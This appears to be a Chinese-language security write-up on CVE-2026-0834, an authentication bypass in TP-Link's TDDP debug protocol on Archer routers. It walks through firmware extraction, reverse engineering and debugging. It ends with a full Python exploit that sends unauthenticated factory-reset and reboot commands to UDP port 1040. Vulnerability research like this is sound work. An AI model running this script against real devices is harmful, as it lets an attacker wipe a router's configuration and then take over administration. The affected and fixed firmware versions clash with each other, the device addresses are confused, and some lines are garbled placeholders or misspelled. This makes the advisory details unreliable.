TP-Link 设备调试协议漏洞CVE-2026-0834
TP-Link Archer是面向家庭与小型办公的主流路由器产品线,覆盖从入门 WiFi 5、中端 WiFi 6,到高端 WiFi 6E、WiFi 7的全系列机型。
一、基本情况
TP-Link Archer系列设备以稳定、易配置、功能丰富著称,同时支持OneMesh组网、HomeShield安全防护、TP-Link Tether App管理。
TP-Link Archer全系普遍配备全千兆以太网口,高端机型升级 2.5G/10G 口;支持 IPv6、端口转发、VPN 穿透;被动/主动端口自适应。

TP-Link Archer 全系列支持WPA3 加密,HomeShield 基础版免费(包含漏洞扫描、恶意网站拦截),付费版可解锁更细致的行为审计。
栋科技漏洞库关注到TP-Link Archer C20 和 Archer AX53 上的逻辑漏洞,现已经被追踪为CVE-2026-0834,漏洞CVSS 4.0评分7.2。
二、漏洞分析
CVE-2026-0834是TP-Link设备调试协议(TDDP)认证绕过漏洞,在TP-Link Archer C20 v6.0和Archer AX53 v1.0(TDDP模块)。
该漏洞影响Archer C20 v6.0版本低于V6_251031及Archer AX53 v1.0版本低于V1_251215的设备,可能导致恢复出厂设置和设备重启。
漏洞允许本地网络未认证远程攻击者执行管理命令,允许未经身份验证的相邻攻击者执行管理命令,包括执行工厂重置和设备重启操作。
这意味着位于相邻网络上的攻击者可以远程触发工厂重置和重启操作,导致配置丢失和设备可用性中断,攻击者利用漏洞无需任何凭据。
该漏洞源于设备调试协议(TDDP)认证在处理 TDDPv2 数据包时,pktLength 值为 0 会导致由于短路评估而跳过 DES 解密例程。
因此而言,发送到 28 字节数据包头之外的数据会被放置在缓冲区中,而解密的有效负载数据预期在此缓冲区中,
从而绕过认证并允许其被解释为有效的命令数据,攻击者利用这一点在没有凭证的情况下执行管理功能,包括恢复出厂设置和设备重启。
此漏洞影响TDDP服务实现,分析的所有固件版本均在tddp_parserHandler()中发现存在易受攻击的代码模式。
并非所有TP-Link设备默认启用TDDP,影响设备仅限Archer C20 v6.0版本低于V6_251031、Archer AX53 v1.0版本低于V1_251215。
可能受影响:
TDDP 被实施在包括路由器、接入点、摄像头和智能插头在内的多种 TP-Link 设备上。
如果满足以下条件,任何运行 TDDP 服务的设备都可能被利用:
TDDP 已启用(默认或手动)
攻击者具有对UDP端口1040的网络访问权限
默认情况下,禁用 TDDP 的设备如果通过制造/调试过程或配置更改启用服务,仍然可能受到影响。
三、技术排查
在进行渗透测试时,安全人员第一次注意到UDP端口1040。Nmap将此标记为“netarx”,这没有任何意义。
后来得知这是TP-Link设备,并在网上查找了一段时间后,遇到了TDDP(TP-Link设备调试协议)。
在生产系统上进行调试协议足以引起好奇,所以安全人员决定拿起一个Archer C20路由器来探索一下。
在开启路由器并运行快速的nmap UDP扫描后,安全人员发现相同的端口是开放的。
安全人员通过模拟进行了以下针对Archer C20 V6(固件0.9.1 Build 4.20)的研究,
然后在运行固件0.9.1 Build 4.19的物理硬件(欧盟版本)上验证了利用方法。
内存偏移、命令结构和利用技术在其他型号或固件版本上可能会有所不同。
2、二进制提取
安全人员从TP-Link支持网站上下载了TP-Link Archer C20 V6的官方固件。
Archer_C20v6_CPI_0.9.1_4.20_up_boot[240320-rel35550]_2024-03-20_10.16.00.bin
然后从档案中提取了固件.bin:
$ unzip Archer\ C20\(CPI\)_V6.6_230320.zip
Archive: Archer C20(CPI)_V6.6_230320.zip
inflating: Archer_C20v6_CPI_0.9.1_4.20_up_boot[240320-rel35550]_2024-03-20_10.16.00.bin
inflating: GPL License Terms.pdf
inflating: How to upgrade TP-LINK Wireless AC Router(New VI).pdf
在提取文件系统之前,binwalk 用于识别固件二进制文件的文件签名和偏移量:
$ binwalk Archer_C20v6_CPI_0.9.1_4.20_up_boot\[240320-rel35550\]_2024-03-20_10.16.00.bin
[SNIP]/Archer_C20v6_CPI_0.9.1_4.20_up_boot[240320-rel35550]_2024-03-20_10.16.00.bin
----------------------------------------------------------------------
DECIMAL HEXADECIMAL DESCRIPTION
----------------------------------------------------------------------
132096 0x20400 LZMA compressed data, properties:
0x5D, dictionary size: 8388608
bytes, compressed size: 1130920
bytes, uncompressed size: 3441784
bytes
1442304 0x160200 SquashFS file system, little
endian, version: 4.0, compression:
xz, inode count: 653, block size:
131072, image size: 6064892 bytes,
created: 2024-03-20 01:54:23
----------------------------------------------------------------------
Analyzed 1 file for 85 file signatures (187 magic patterns) in 63.0 milliseconds
这确定了一个6064892字节的 SquashFS 文件系统在偏移量1442304。
然后可以使用dd将其提取出来,生成一个原始的 SquashFS 图像squashfs.img:
$ dd if=Archer_C20v6_CPI_0.9.1_4.20_up_boot\[240320-rel35550\]_2024-03-20_10.16.00.bin of=squashfs.img bs=1 skip=1442304 count=6064892
6064892+0 records in
6064892+0 records out
6064892 bytes (6.1 MB, 5.8 MiB) copied, 4.67729 s, 1.3 MB/s
然后提取了此图像 unsquashfs 以生成包含文件系统的文件夹结构:
$ unsquashfs -d rootfs squashfs.img
Parallel unsquashfs: Using 16 processors
602 inodes (557 blocks) to write
created 443 files
created 51 directories
created 70 symlinks
created 0 devices
created 0 fifos
created 0 sockets
created 0 hardlinks
然后我在路径 /usr/bin/tddp 下识别出了 TDDP 二进制文件,其使用 MIPS 架构:
$ find rootfs -name 'tddp' -type f
rootfs/usr/bin/tddp
$ file rootfs/usr/bin/tddp
rootfs/usr/bin/tddp: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
$ ls -la rootfs/usr/bin/tddp
-rwxr-xr-x 1 [SNIP] 49048 Mar 20 2024 rootfs/usr/bin/tddp
而不是直接在硬件上进行测试,我设置了一个基于Docker的模拟环境来分析TDDP二进制文件。这种方法使调试功能更加容易
这里使用了一个带有QEMU用户模式模拟的自定义Docker容器在x86_64系统上运行MIPS二进制文件。这包括:
一个包含QEMU静态二进制文件和调试工具的Docker镜像
提取的路由器文件系统挂载到容器中
使用qemu-mipsel-static,并将路由器的文件系统作为库路径
除了能够在Docker环境中执行二进制文件外,还使用Ghidra打开了二进制文件进行静态分析。
3、协议背景
将二进制文件加载到Ghidra中后,我开始进行逆向工程,逐步了解TDDP的具体功能。
TDDP 协议概述
TP-Link 设备调试协议 (TDDP) 是由 TP-Link 为设备管理和调试开发的专有网络协议,通过 UDP 协议运行在端口 1040。
TDDP 服务在各种 TP-Link 设备中实现,如路由器、接入点、摄像头和智能插头。
该协议在中国专利中有所记载 CN102096654A 和 CN102123140B.
该服务提供的功能包括:
读写设备配置
执行设备特定命令
管理员操作包括工厂重置和设备重启
TDDP 使用两个协议版本:
版本 1:基本命令,无身份验证
版本 2:扩展功能,带有 DES 加密进行身份验证
在版本2中,所有命令的有效负载必须使用从第一个8字节中派生的密钥通过DES加密。
MD5(username + password)这种加密作为认证机制,只有拥有正确设备密码的用户才能构造有效的加密命令或解密响应。
在分析的路由器上,TDDP 默认在 1040/UDP 端口(局域网接口)上监听,尽管它是一个为工厂测试和管理设计的服务。
协议数据包结构
TDDP 数据包由一个固定长度的 28 字节头和可选的有效载荷组成。
认证和加密
TDDP 协议的 2 版通过使用 DES 加密命令有效负载和响应来实现身份验证。
加密密钥由设备凭证派生:
Credentials: username="admin", password="admin"
Concatenated: "adminadmin"
MD5 Hash: "f6fdffe48c908deb0f4c3bd36c032e72"
DES Key: f6fdffe48c908deb (first 8 bytes)
加密算法是DES的ECB模式。它使用PKCS#7和8字节边界进行填充。这种加密/解密应用于命令负载(请求)和响应负载。
客户端从已知的设备凭证生成DES密钥
客户端加密命令负载
服务器通过使用存储的凭据尝试解密来验证
服务器使用相同的DES密钥对响应进行加密
客户端解密响应以访问数据
发现的漏洞通过数据包解析逻辑的实现缺陷绕过了这个认证机制。
4、控制流
命令分析
我从入口点开始追踪数据包处理。一旦 tddp_parserHandler() 收到UDP数据包,TDDP头部中的版本字段决定了处理路径。
版本1的数据包立即根据 type 字段进行分发,而版本2的数据包首先通过 tddp_des_min_do() 进行DES解密,然后进行MD5摘要验证再进行分发。
版本 1:
0x06:CMD_CONFIG_MAC
0x07:CMD_CANCEL_TEST
0x0C:CMD_SYS_INIT
0x0D:CMD_CONFIG_PIN
版本 2:
0x03: SPECIAL_COMMAND (通往各种子命令的入口)
0x04: HEARTBEAT(没有子命令)
0x07: ENCRYPTED_COMMAND (通往各种子命令的入口)
对于ENCRYPTED_COMMAND和SPECIAL_COMMAND请求,
相关的函数tddp_cmd_encCmd()和tddp_cmd_spCmd()读取一个子命令字节并 dispatch 到适当的处理程序。
对于SPECIAL_COMMAND,这是从标头的subType字段中读取的。
对于ENCRYPTED_COMMAND,则是从解密后的有效负载中读取的。
以下图像表示主要执行流程。二进制文件接收传入的UDP数据,并根据version和type字段调度命令:

同样,以下图像展示了 ENCRYPTED_COMMAND网关为例,基于子命令字节调度。

子命令分析
我规划了以下子命令,许多子命令在SPECIAL_COMMAND和ENCRYPTED_COMMAND处理程序中都可用。
5、漏洞发现
入口点分析
我识别出tddp_parserHandler()在偏移量0x00401cfc作为处理传入UDP数据包的主要入口点。
这个函数对每个接收到的TDDP数据包都会被调用。
该函数接受一个参数,该参数是一个指针,指向一个在数据包处理过程中保持状态的会话结构:
undefined4 tddp_parserHandler(TDDP_Session *session)
这个session 结构包含各种缓冲区和状态信息,包括:
sessionContext:连接状态和加密密钥(偏移 0x0)
sockControl:响应控制结构(偏移0x4c)
packetHeader:28字节的TDDP头存储位置(偏移0xb01b)
decryptedBody:缓冲区用于解密的有效负载数据(偏移量0xb037)
该函数首先设置指向这些会话结构成员的指针:
undefined4 tddp_parserHandler(TDDP_Session *session)
{
ssize_t bytesReceived;
TDDP_PacketHeader *packetHeaderPtr;
uint8_t *sockControlPtr;
socklen_t senderSockAddrLen;
sockaddr senderSockAddr;
// Get pointers to buffers within the session structure.
packetHeaderPtr = &session->packetHeader;
sockControlPtr = &(session->sockControl).version;
// Clear buffers before use.
memset(packetHeaderPtr, 0, 0xafc9);
memset(sockControlPtr, 0, 0xafc9);
// Receive incoming packet.
bytesReceived = recvfrom((session->sessionContext).socketFd, packetHeaderPtr, 45000,
0, &senderSockAddr, &senderSockAddrLen);
该recvfrom()调用接受最多45000字节到packetHeaderPtr,它指向28字节的头部结构。无论有效负载大小如何,它都会这样做。
根据TDDP协议规范,数据包由固定28字节的头部和可选的有效负载组成。
在收到数据包后,该函数提取版本字段并分支为两种主要控制流:
// Set up authentication digest (for v2 DES key)
tddp_setAuthDigest(session);
// Extract version and prepare response structure
version = (session->packetHeader).version;
(session->sockControl).type = (session->packetHeader).type;
(session->sockControl).version = version;
// ... additional response setup ...
if (version == 1) {
// Version 1 processing (no authentication required)
} else if (version == 2) {
// Version 2 processing (requires DES encryption)
包长度=0 旁路
在函数的进一步处理中,版本2的数据包处理包含了绕过认证的基础:
} else if (version == 2) {
// connection state handling...
workingBufferPtr = (session->sockControl).unknown1;
memcpy(sockControlPtr, packetHeaderPtr, 0x1c); // Copy 28-byte header
// Extract packet length and convert from big-endian
reusedUint32 = (session->packetHeader).pktLength;
reusedUint32 = reusedUint32 << 0x18 | reusedUint32 >> 0x18 |
reusedUint32 >> 8 & 0xff00 | (reusedUint32 & 0xff00) << 8;
cryptoResult = 0;
// When pktLength=0, decryption is skipped entirely
if ((reusedUint32 == 0) ||
(cryptoResult = tddp_des_min_do(session->decryptedBody, reusedUint32,
workingBufferPtr, 0xafac,
(session->sessionContext).desKey, 0),
cryptoResult != 0)) {
// Continues with MD5 verification...
workingBufferPtr = (session->sockControl).md5Digest;
memcpy(md5DigestBuffer, workingBufferPtr, 0x10);
memset(workingBufferPtr, 0, 0x10);
当 pktLength 等于 0 时,OR 条件短路,tddp_des_min_do() 从不被调用。
通常用于验证身份验证的 DES 解密完全被绕过,但命令处理继续进行。
给定内存布局:
packetHeader 在偏移量 0xb01b (28 字节)
decryptedBody 在偏移量 0xb037 (紧随其后)
任何发送到28字节标题之外的数据都会直接进入decryptedBody:预期的解密有效负载数据缓冲区。
通过pktLength=0跳过解密,攻击者控制的数据将保持原样,并被后续命令处理程序解释为有效的命令。
运行时验证
我首先加载了Docker环境,生成了一个用于根文件系统结构的容器:
$ ./spawn-container.sh squashfs-root
Building Docker image...
[SNIP]
Successfully built 64d2cf3ea910
Successfully tagged iot-re:latest
Spawning container for tp-link_archer_c20...
root ➜ /target $
从容器内部,我使用qemu-mipsel-static执行了TDDP二进制文件,并在端口上启用了GDB服务器1234:
root ➜ /target $ /opt/script/execute_binary.sh -b /usr/bin/tddp -h /hook.so -g 1234
Starting GDB server on port 1234...
Connect with: gdb-multiarch -q -ex 'target remote :1234'
在我的主机上,我在一个新的终端中启动了GDB。架构被设置为mips,并连接到远程端口1234。还在0x406cb4处设置了一个断点,
这是在recvfrom()函数(当二进制文件接收UDP数据时)中的tddp_parserHandler调用之后立即执行的位置:
$ gdb -ex "set architecture mips" -ex "target remote :1234" -ex "b *0x406cb4"
[SNIP]
The target architecture is set to "mips".
Remote debugging using :1234
warning: No executable has been specified and target does not support
determining executable automatically. Try using the "file" command.
0x3ffe9b10 in ?? ()
peakpoint 1 at 0x406cb4
(gdb) c
Continuing.
连接后,容器内的二进制文件显示TDDP任务已启动,挂钩已成功加载:
squashfs-root/usr/bin/tddp: cache '/etc/ld.so.cache' is corrupt
[HOOK] Lipary loaded!
[cmd_dutInit():1096] init shm
[tddp_taskEntry():151] tddp task start
然后,我使用以下参数向TDDP服务发送了一个测试UDP数据包:
version2
type: 7 (处理程序 ENCRYPTED_COMMAND)
pktLength: 0 (跳过DES解密例程)
接着是45000个‘A’字符 (0x41)
$ python3 send_tddp_packet1.py
Sent 45028 bytes from port 54321 to 127.0.0.1:1040
观察二进制输出,显示有效协议数据正在被处理为有效负载数据:
代码到达了ENCRYPTED_COMMAND处理程序,尽管pktLength=0没有有效的DES加密有效负载
数据包长度显示为 1094795585 (0x41414141): 我的‘A’字节被解释为32位整数
错误“设置特殊ID失败”表示它正在尝试执行子命令0x41 (ASCII ‘A’)
tddp_parserVerTwoOpt():366] TDDPv2: encrypted command // Reaches the `ENCRYPTED_COMMAND` handler.
[tddp_cmd_set():100] packet length:1094795585 // Packet length of `1094795585` (`0x41414141`).
[tddp_cmd_set():101] pRcvBuf:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[SNIP],len:44960
[Error][errCode: -10327][errMsg: set Special ID failed]|[errno: 16] // Error thrown at the "Set Special ID" sub-command.
[tddp_parserVerTwoOpt():369] packet len:12, packet buf:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[SNIP]
“设置特殊ID失败”错误确认了ENCRYPTED_COMMAND处理程序从偏移0x0A处读取了我的有效负载数据中的子命令字节,
而不是从标头的subType字段中读取。
这已经确认了:
命令正在处理,没有进行任何DES解密。
有效载荷数据被命令处理程序解释为有效的协议数据
通过在正确的偏移量处放置特定字节,我可以触发任意子命令
命令处理程序分析
以下输出是 tddp_cmd_encCmd() Ghidra 的函数 (ENCRYPTED_COMMAND 处理程序):
subCommand (子命令字节)从会话结构的偏移 0xB041 加载
switch 语句用于将 subCommand 的值与特定字节进行比较。这决定了要执行哪个子命令函数
当子命令字节等于0x41 (A)时,执行功能FUN_00402078
undefined4 tddp_cmd_encCmd(int session)
{
byte subCommand;
undefined4 uVar2;
uint uVar3;
// [SNIP]
*(char *)(session + 0x76) = (char)*(undefined2 *)(session + 0xb03f);
*(char *)(session + 0x77) = (char)((ushort)*(undefined2 *)(session + 0xb03f) >> 8);
subCommand = *(byte *)(session + 0xb041); // Sub-command byte loaded from offset 0xb041
*(byte *)(session + 0x78) = subCommand;
*(undefined *)(session + 0x79) = *(undefined *)(session + 0xb042);
// [SNIP]
if (subCommand == 0x46) { // 'F'
uVar2 = FUN_00402488();
goto LAB_0040290c;
}
if (subCommand < 0x47) {
if (subCommand == 0x42) { // 'B'
uVar2 = FUN_004020cc();
goto LAB_0040290c;
}
if (subCommand < 0x43) {
if (subCommand == 0x40) { // '@'
uVar2 = FUN_00402024();
goto LAB_0040290c;
}
if (subCommand == 0x41) { // 'A'
uVar2 = FUN_00402078();
goto LAB_0040290c;
}
}
}
// [SNIP]
函数 FUN_00402078 可以在下面看到:
这尝试执行cmd_setSpecialID 函数
如果这失败了,它会抛出错误“设置特殊ID失败”,这是我们发送‘A’字节时观察到的相同错误。
void FUN_00402078(undefined4 param_1, undefined4 param_2,
undefined4 param_3, undefined4 param_4)
{
int iVar1;
iVar1 = FUN_00401800(param_1, cmd_setSpecialID, 0x4000, param_4, &_gp);
if (iVar1 != 0) {
tddp_errorThrow(0xffffd7a9, "set Special ID failed");
return;
}
return;
}
子命令偏移量计算
既然我知道绕过功能生效了,我需要确定在有效负载中具体在哪里放置子命令字节。
在Ghidra中,我追踪了tddp_cmd_encCmd()读取子命令字节的位置:
subCommand = *(byte *)(session + 0xb041);
这对应于地址处的汇编指令0x40260c:
0040260c lbu v0,-0x4fbf(v1)
在该指令处设置断点将确定子命令字节需要放置的位置。
回到GDB,我设置了附加的断点并发送了另一个测试数据包:
(gdb) b *0x40260c
peakpoint 2 at 0x40260c
(gdb) c
Continuing.
peakpoint 2, 0x0040260c in ?? ()
当断点命中时,我检查了寄存器和内存:
(gdb) info reg v1
v1: 0x42b160
(gdb) p/x $v1-0x4fbf
$1 = 0x4261a1
(gdb) x/1bx 0x4261a1
0x4261a1: 0x41
(gdb) info reg s0
s0: 0x41b160
(gdb) p/x 0x4261a1-$s0
$2 = 0xb041
(gdb)
由于子命令字节从session + 0xb041和decryptedBody开始于session + 0xb037,子命令在10缓冲区0x0A的偏移量为decryptedBody (
因此,要控制哪个子命令执行:
0-27TDDP数据包头部(28字节)
28-37填充(10字节)
38: 子命令字节
将子命令字节(如0x49(工厂重置)或0x4A(重启))放置在此偏移量处会触发这些管理功能而无需身份验证。
剥削
了解了这个漏洞后,我制作了一个基本的概念验证来测试真实的硬件。完整的攻击代码可以在GitHub上找到。
四、POC概念验证
该漏洞构建了一个畸形的TDDPv2数据包,pktLength=0 以绕过DES解密,
然后将所需的子命令字节放置在偏移量38(在有效负载中的第10个字节)tddp_cmd_encCmd(), 处理程序读取它。
#!/usr/bin/env python3
"""
TP-Link Device Debug Protocol (TDDP) Authentication Bypass (CVE-2026-0834)
Author: Matt Graham (mattgsys)
CVE: CVE-2026-0834
Tested on:
- TP-Link Archer C20 V6, firmware 0.9.1 Build 4.20 (emulation)
- TP-Link Archer C20 V6, firmware 0.9.1 Build 4.19 (EU, hardware)
Memory offsets and command values may vary on other devices/versions.
This script sends factory reset (0x49) and reboot (0x4A) commands to the target device.
"""
import socket
import struct
import hashlib
import time
TARGET_IP = '192.168.0.1'
TARGET_PORT = 1040
SOURCE_PORT = 54321
def build_tddp_packet(version, msg_type, code=1, reply_info=0,
pkt_length=0, pkt_id=1, sub_type=0, reserved=0,
md5_digest=b'\x00' * 16):
"""Build TDDP packet header"""
header = struct.pack('>BBBBIHBB',
version, msg_type, code, reply_info,
pkt_length, pkt_id, sub_type, reserved
)
return header + md5_digest
def calculate_md5(packet):
"""Calculate and update MD5 digest for TDDP packet"""
packet = bytearray(packet)
packet[12:28] = b'\x00' * 16
packet[12:28] = hashlib.md5(packet[:28]).digest()
return bytes(packet)
def send_packet(packet, host=TARGET_IP, port=TARGET_PORT):
"""Send UDP packet to TDDP service"""
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(('', SOURCE_PORT))
sock.settimeout(1)
try:
sock.sendto(packet, (host, port))
data, addr = sock.recvfrom(4096)
print(f"[+] Response from {addr}: {data.hex()}")
return True
except socket.timeout:
print("[-] No response")
return False
finally:
sock.close()
if __name__ == "__main__":
print(f"[*] Target: {TARGET_IP}:{TARGET_PORT}")
# Factory reset (0x49)
print("[*] Sending factory reset command (0x49)...")
header = build_tddp_packet(version=2, msg_type=7, pkt_length=0)
header = calculate_md5(header)
payload = b'\x00' * 10 + b'\x49' + b'\x00' * 4
send_packet(header + payload)
print("[*] Waiting 1 second...")
time.sleep(1)
# Reboot (0x4A)
print("[*] Sending reboot command (0x4A)...")
header = build_tddp_packet(version=2, msg_type=7, pkt_length=0)
header = calculate_md5(header)
payload = b'\x00' * 10 + b'\x4A' + b'\x00' * 4
send_packet(header + payload)
有几个值得注意的事情:
TDDP 服务使用源端口进行会话跟踪。攻击绑定到一个常量端口()以在数据包之间保持会话状态。54321
子命令字节必须放置在偏移量 10 位置(从数据包开始偏移 38)。10字节的填充与 tddp_cmd_encCmd() 从 session + 0xb041 读取子命令的位置对齐,这对应于 decryptedBody + 10。
头部中的MD5摘要仍然必须有效(用于完整性,而不是身份验证)。 calculate_md5() 函数计算头部的摘要(将摘要字段置零),然后插入结果。
在真设备上进行测试
为了验证针对真实硬件的利用,我将物理TP-Link Archer C20的其中一个LAN端口连接到我的系统:
enp0s20f0u7u2: flags=4163<UP,pOADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.0.100 netmask 255.255.255.0 poadcast 192.168.0.255
ether 00:e0:4c:68:0a:1e txqueuelen 1000 (Ethernet)
路由器通过DHCP为我的系统分配地址,路由器的管理界面可通过192.168.0.100访问。
通过管理界面,我配置了一个新密码以演示攻击。192.168.0.1
管理员已设置登录后刷新可查看两条命令都从TDDP服务得到了成功的响应,设备立即开始重启。
重启完成后,路由器显示初始设置屏幕,要求输入新密码,确认工厂重置已清除所有配置。
此时,攻击者可以简单地访问设置页面并配置自己的管理员凭据,完全控制设备。
五、影响范围
Archer C20 v6.0 <= V6_251031
Archer AX53 v1.0 <= V1_251215
六、修复建议
TP-Link 已经声明,通过固件更新已禁用 TDDP 服务的以下已确认存在漏洞的设备:
Archer C20 V6:已修复在固件 V6_241231(欧盟版本)中
Archer AX53:已修复在固件1.2.2版本20230627(欧洲和全球版本)
七、参考链接
管理员已设置登录后刷新可查看